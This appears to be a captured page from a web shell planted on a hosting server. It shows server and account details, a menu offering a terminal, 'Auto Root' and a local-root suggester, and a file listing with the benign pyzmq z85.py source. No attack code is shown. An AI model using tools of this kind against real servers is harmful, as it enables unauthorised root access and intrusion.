Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python3.6 /
site-packages /
zmq /
utils /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-03-29 05:07
__init__.py
0
B
-rw-r--r--
2018-02-10 08:02
buffers.pxd
9.63
KB
-rw-r--r--
2018-02-10 08:02
compiler.json
266
B
-rw-r--r--
2022-03-16 07:01
config.json
255
B
-rw-r--r--
2022-03-16 07:01
constant_names.py
7.73
KB
-rw-r--r--
2018-02-10 08:02
garbage.py
5.8
KB
-rw-r--r--
2018-02-10 08:02
getpid_compat.h
103
B
-rw-r--r--
2018-02-10 08:02
interop.py
709
B
-rw-r--r--
2018-02-10 08:02
ipcmaxlen.h
454
B
-rw-r--r--
2018-02-10 08:02
jsonapi.py
1.36
KB
-rw-r--r--
2018-02-10 08:02
monitor.py
2.04
KB
-rw-r--r--
2018-02-10 08:02
mutex.h
1.58
KB
-rw-r--r--
2018-02-10 08:02
pyversion_compat.h
1.29
KB
-rw-r--r--
2018-02-10 08:02
sixcerpt.py
1.84
KB
-rw-r--r--
2018-02-10 08:02
strtypes.py
1.17
KB
-rw-r--r--
2018-02-10 08:02
win32.py
5
KB
-rw-r--r--
2018-02-10 08:02
z85.py
1.95
KB
-rw-r--r--
2018-02-10 08:02
zmq_compat.h
2.88
KB
-rw-r--r--
2018-02-10 08:02
zmq_constants.h
13.66
KB
-rw-r--r--
2018-02-10 08:02
Save
Rename
"""Python implementation of Z85 85-bit encoding Z85 encoding is a plaintext encoding for a bytestring interpreted as 32bit integers. Since the chunks are 32bit, a bytestring must be a multiple of 4 bytes. See ZMQ RFC 32 for details. """ # Copyright (C) PyZMQ Developers # Distributed under the terms of the Modified BSD License. import sys import struct PY3 = sys.version_info[0] >= 3 # Z85CHARS is the base 85 symbol table Z85CHARS = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#" # Z85MAP maps integers in [0,84] to the appropriate character in Z85CHARS Z85MAP = dict([(c, idx) for idx, c in enumerate(Z85CHARS)]) _85s = [ 85**i for i in range(5) ][::-1] def encode(rawbytes): """encode raw bytes into Z85""" # Accepts only byte arrays bounded to 4 bytes if len(rawbytes) % 4: raise ValueError("length must be multiple of 4, not %i" % len(rawbytes)) nvalues = len(rawbytes) / 4 values = struct.unpack('>%dI' % nvalues, rawbytes) encoded = [] for v in values: for offset in _85s: encoded.append(Z85CHARS[(v // offset) % 85]) # In Python 3, encoded is a list of integers (obviously?!) if PY3: return bytes(encoded) else: return b''.join(encoded) def decode(z85bytes): """decode Z85 bytes to raw bytes, accepts ASCII string""" if PY3 and isinstance(z85bytes, str): try: z85bytes = z85bytes.encode('ascii') except UnicodeEncodeError: raise ValueError('string argument should contain only ASCII characters') if len(z85bytes) % 5: raise ValueError("Z85 length must be multiple of 5, not %i" % len(z85bytes)) nvalues = len(z85bytes) / 5 values = [] for i in range(0, len(z85bytes), 5): value = 0 for j, offset in enumerate(_85s): value += Z85MAP[z85bytes[i+j]] * offset values.append(value) return struct.pack('>%dI' % nvalues, *values)